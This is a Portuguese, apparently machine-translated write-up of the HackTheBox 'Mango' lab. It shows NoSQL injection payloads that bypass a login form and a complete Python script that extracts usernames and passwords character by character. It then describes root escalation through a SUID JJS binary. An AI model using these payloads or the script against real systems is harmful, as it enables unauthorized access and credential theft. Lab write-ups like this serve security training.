Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox .Neste artigo, exploramos a injeção de NoSQL na forma de autorização e também aumentamos os privilégios por meio do JJS.A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem alguma coisa no campo da segurança da informação :)Informações Organizacionais, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina possui um endereço IP 10.10.10.162, que eu adiciono ao / etc / hosts.10.10.10.162 mango.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 1000 pacotes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.nmap -A mango.htb -p22,80,443
Primeiro de tudo, vamos assistir o site. Ao acessar mango.htb, eles nos lançam de http para https e falam sobre um problema com o certificado. Se você concorda com os riscos, pode ver esta página.
Mas nada mais interessante. A verificação do nmap exibe informações ssl-cert onde o domínio está especificado. Adicione-o ao / etc / hosts.10.10.10.162 staging-order.mango.htb
E vamos ver o que está lá.
Existe um formulário de autorização - um possível ponto de entrada.Ponto de entrada
Tentamos várias técnicas de injeção para ignorar a autorização. E encontramos uma injeção padrão de NoSql comparando a reação a duas condições: o login é 123, a senha é 123 e o login não é 123, a senha não é 123.
E após o verdadeiro resultado bem-sucedido da segunda condição, obtemos um redirecionamento para o home.php. Assim, a injeção NoSql é possível.
Como não há nada de interessante na página, a única coisa que podemos tirar dessa vulnerabilidade são logins e senhas.DO UTILIZADOR
Vamos ver o tamanho máximo dos nomes de usuário e senhas. Para fazer isso, você pode usar as seguintes construções:login [$ regex] =. {Length} & password [$ ne] = 123 - para login (uma comparação de expressão regular para o login é executada e a senha é inválida)login [$ ne] = 123; senha [$ regex] =. {length} para a senha.Vamos fazer isso com o intruso arroto.

Assim, o comprimento do logon mais longo é de 5 caracteres. Depois de fazer as mesmas operações para a senha, descobrimos que o comprimento do maior é de 16 caracteres.
Como é muito longo para resolvê-lo com suas mãos, escreveremos um script python. Primeiro, faremos uma sessão para o trabalho.import string
import requests
alfa = string.printable
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
Em seguida, implementamos uma função para enumerar logins. A iteração será realizada usando a seguinte expressão regular ^ name. * - dessa maneira, esticaremos um caractere de cada vez.def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
E uma função semelhante, apenas usando o login encontrado.def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
CÓDIGO COMPLETO:
import string
import requests
alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
print("SEARCH logins:")
logins_find("")
print("\nSEARCH passwords:")
[ passwords_find(login, "") for login in logins ]
E, como resultado, encontramos as credenciais de dois usuários.
Conectamos com sucesso as credenciais via SSH.
Temos uma senha do segundo usuário, mas ela não permite o login via SSH. Estamos tentando alterar localmente o usuário digitando a senha que conhecemos.
RAIZ
Vamos realizar a enumeração básica usando o script LinEnum .
E encontramos o programa com o conjunto S-bit.
Verificando JJS por exemplo GTFOBins .
Existem também exemplos de operação. Chamar shell local não funcionou. Mas você pode gerar chaves ssh, escrever public em /root/.ssh/authorized_keys e conectar usando private.
Vamos contar a chave pública.
E agora anote.
E agora conecte-se como root.
Você pode se juntar a nós no Telegram. Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.